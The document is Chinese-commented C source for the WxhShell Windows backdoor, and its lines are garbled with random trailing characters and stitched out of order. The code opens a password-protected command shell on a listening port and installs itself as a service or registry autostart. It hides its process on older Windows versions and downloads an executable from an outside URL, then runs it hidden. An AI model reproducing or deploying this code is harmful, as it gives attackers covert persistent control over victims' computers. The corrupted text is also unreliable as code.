ULONG UniqueProcessId; ,C,e/>+My
ULONG InheritedFromUniqueProcessId; '=,rb
} PROCESS_BASIC_INFORMATION; kH8$nk eev
"K+N f
PROCNTQSIP NtQueryInformationProcess; >+jbMAYSq
acYoOW1G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +V);'"L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U]! .~ji3
xe gL!
HANDLE hProcess; fJ&<iD)6
PROCESS_BASIC_INFORMATION pbi; [zTYiNa
PMN2VzE4{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7hF,gl5
if(NULL == hInst ) return 0; akvwApn5
W^d4/]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g t^]32$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2VV[*QI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,KhMzE8_a
B==a
if (!NtQueryInformationProcess) return 0; nze1]3`
g"!#]LLe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w{e3U7;
if(!hProcess) return 0; jQxPOl$-
,hTwNVWI9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '6.>Wdd
0qL
V(L
CloseHandle(hProcess); XAU_SPAjiw
uVq5fT`B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V3 _b!
if(hProcess==NULL) return 0; Q3Z%a|3W
~ACP%QM=
HMODULE hMod; #7~tL23}]
char procName[255]; I*:qGr+ WJ
unsigned long cbNeeded; J|"nwY}a9
x ?f0Hk+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Zaq#uA
x7KcO0F{
CloseHandle(hProcess); E)80S.V
qb-2QPEB
if(strstr(procName,"services")) return 1; // 以服务启动 RQo$iISwy
$d2kHT
return 0; // 注册表启动 yxG:\y
b
} oP=T6PX~l
a81!~1A
// 主模块 ^x_ >r6
int StartWxhshell(LPSTR lpCmdLine) 4j.
|Y
{ qu<B%v
SOCKET wsl; >w2Q1!
BOOL val=TRUE; N
/sEec
int port=0; O>SuZ>g+7
struct sockaddr_in door; i?a,^UM5n[
(0OSGG9
if(wscfg.ws_autoins) Install(); oN[Fz a>
tKG;k"wk
port=atoi(lpCmdLine); "GwWu-GS
o<D3Y95b
if(port<=0) port=wscfg.ws_port; 7wiK.99
=`]|/<=9'U
WSADATA data; RRS~ xOg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %\X P:
!cN?SGafZI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;Na8_}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^o $W
door.sin_family = AF_INET; Avs7(-L+s
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]r/(n]=(
door.sin_port = htons(port); v:veV. y
f.b8ZBNj>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IOsXPf9@
closesocket(wsl); ?JXBWB4
return 1; 670J{b
} q)K-vt)98
j*;*Ka w
if(listen(wsl,2) == INVALID_SOCKET) { Z7/vrME6
closesocket(wsl); bK$/,,0=X/
return 1; JHvFIo
} ``(}4a
Wxhshell(wsl); [^?13xMb
WSACleanup(); U OR _M5
}.fL$,7a
return 0; E/wQ+rv
,_.@l+BM.
} B#HnPUUK
$kxu;I
// 以NT服务方式启动 q3c*<n g#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pG,<_N@P
{ ",~ b2]ym
DWORD status = 0; ]PR|d\O
DWORD specificError = 0xfffffff; K,x$c %
tr}KPdE
serviceStatus.dwServiceType = SERVICE_WIN32; K[Yc<Q
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QO5OnYh
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; @7
serviceStatus.dwWin32ExitCode = 0; eZ!yPdgy|
serviceStatus.dwServiceSpecificExitCode = 0; f![xn2T
serviceStatus.dwCheckPoint = 0; y!7B,
serviceStatus.dwWaitHint = 0; ZhGh{D[,
Nl~Z,hT$*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U/.w;DI
if (hServiceStatusHandle==0) return; Rz.i/wg}
"t5
+*
status = GetLastError(); " 2ZI oa!^
if (status!=NO_ERROR) qxf+#
{ Q<RT12|`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8s QQK.N(
serviceStatus.dwCheckPoint = 0; &q4ox7 1
serviceStatus.dwWaitHint = 0; /QrA8
serviceStatus.dwWin32ExitCode = status; 'fS?xDs-v
serviceStatus.dwServiceSpecificExitCode = specificError; JZ %`%rA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\fzO#vj
return; gXq!a|eH
} k k
8R
g/OI|1a
serviceStatus.dwCurrentState = SERVICE_RUNNING; NlA*\vco
serviceStatus.dwCheckPoint = 0; Z -pyFK\
serviceStatus.dwWaitHint = 0; Qe2m8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 536^PcJlN
} S8*^ss>?^R
5+y@ ]5&g
// 处理NT服务事件,比如:启动、停止 8BHL
VOID WINAPI NTServiceHandler(DWORD fdwControl) F`fGz)Mk
{ *GCA6X
switch(fdwControl) |tG05 +M
{ D4AEZgC F,
case SERVICE_CONTROL_STOP: IgLVn<5n
serviceStatus.dwWin32ExitCode = 0; ])N|[ |$
serviceStatus.dwCurrentState = SERVICE_STOPPED; sk#9x`Rw
serviceStatus.dwCheckPoint = 0; jz
%;4e~t
serviceStatus.dwWaitHint = 0; p9/bzT34.
{ BD hLz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !$D&6M|C8l
} w|&,I4["
return; :0B
|<~lX
case SERVICE_CONTROL_PAUSE: |$M@09,F"
serviceStatus.dwCurrentState = SERVICE_PAUSED; !-KCFMvT
break; '!pAnsXfO
case SERVICE_CONTROL_CONTINUE: vkd *ER^
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6e,Apj 0
break; ;
Zh9^0
case SERVICE_CONTROL_INTERROGATE: buRhQ"
break; n49;Z,[~
}; ?x:m;z/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _i-\mR_~
} k&O C&
$RpFxi
// 标准应用程序主函数 ';_1rh
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Po!oN~r
{ et@">D%;]
'^hsH1
// 获取操作系统版本 k - FB
OsIsNt=GetOsVer(); ,(6)ghr
GetModuleFileName(NULL,ExeFile,MAX_PATH); dI!8S
v,n);
// 从命令行安装 S<V-ZV&_:U
if(strpbrk(lpCmdLine,"iI")) Install(); <BZ_ (H
1d`cTaQ-
// 下载执行文件 Ny[QT*nV
if(wscfg.ws_downexe) { 8098y,mQe
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =ntftSH
WinExec(wscfg.ws_filenam,SW_HIDE); j(&GVy^;?
} HB%K|&!+
!zU/Hq{wcK
if(!OsIsNt) { xf'LR[M
// 如果时win9x,隐藏进程并且设置为注册表启动 miwf&b
HideProc(); aXC!t
StartWxhshell(lpCmdLine); B@d1xjp)']
} SK?I.
else VXiui'/(
if(StartFromService()) WmNA5;<Q
// 以服务方式启动 PVhik@Yoh
StartServiceCtrlDispatcher(DispatchTable); @]*[c})/
else `4_c0q)N4
// 普通方式启动 B\f"Iirw
StartWxhshell(lpCmdLine); g-XKP
N5yJ'i~,M
return 0; >A<Df
} *E.LP1xP
+.=1^+a
U4=]#=R~o
NJk)z&M
=========================================== AHq M7+r9
b)d^ `J
B`#*o<eb
2_wvC
su}&".e^
Z A [ )
" 00"CC
?5`{7daot
#include <stdio.h> V- /YNRV
#include <string.h> AH|Y<\
#include <windows.h> 3\1#eK'TK.
#include <winsock2.h> h
5Hr[E1
#include <winsvc.h> Sg_O?.r
#include <urlmon.h> 9YAM#LBTWi
*-6?
#pragma comment (lib, "Ws2_32.lib") iM"asEU
#pragma comment (lib, "urlmon.lib") D '<$ g
0JK2%%
#define MAX_USER 100 // 最大客户端连接数 +N7"EROc
#define BUF_SOCK 200 // sock buffer w~]T<^fW~
#define KEY_BUFF 255 // 输入 buffer @'
d6iYk_
"sD1T3!\)Q
#define REBOOT 0 // 重启 Z0aUHWms
#define SHUTDOWN 1 // 关机 wE?CvL
4oV
{=~V
#define DEF_PORT 5000 // 监听端口 Q<1L`_.>
Gy9
$Wj
#define REG_LEN 16 // 注册表键长度 a#$N% =j
#define SVC_LEN 80 // NT服务名长度 qIz}$%!A
mf$Sa58
// 从dll定义API S#mK
Pi+3
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CG.,/]_
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i@XB&;*c\
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P<vo;96JT
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >otJF3zw
?.Q3 pUT
// wxhshell配置信息 )(lJT&e
struct WSCFG { <1K7@Tu
int ws_port; // 监听端口 3-iD.IAUm@
char ws_passstr[REG_LEN]; // 口令 IytDvz*|
int ws_autoins; // 安装标记, 1=yes 0=no $T?]+2,6;
char ws_regname[REG_LEN]; // 注册表键名 cv]BV>=E
char ws_svcname[REG_LEN]; // 服务名 V:OiW"/
char ws_svcdisp[SVC_LEN]; // 服务显示名 Jr]gEBX
char ws_svcdesc[SVC_LEN]; // 服务描述信息 *!w25t
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 68p R:
int ws_downexe; // 下载执行标记, 1=yes 0=no Y[@0qc3UO
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AX;c}0g
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '$?du~L-
'AWp6L @
}; F 5U|9<
sBU_Ft
// default Wxhshell configuration N}DL(-SQ3
struct WSCFG wscfg={DEF_PORT, ' Rc#^U*n
"xuhuanlingzhe", Z%OW5]q
1, b)`pZiQP
"Wxhshell", >Mw'eQ0(y
"Wxhshell", }vY.EEy!
"WxhShell Service", t!:)L+$3
"Wrsky Windows CmdShell Service", o0l74
"Please Input Your Password: ", <aXoB*Y
1, C `6S}f,
"http://www.wrsky.com/wxhshell.exe", s&VOwU
"Wxhshell.exe" D"!jbVz]*
}; l|q%%W0
7h`^N5H.q
// 消息定义模块 H99xZxHZ{
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nA+F
char *msg_ws_prompt="\n\r? for help\n\r#>"; F,&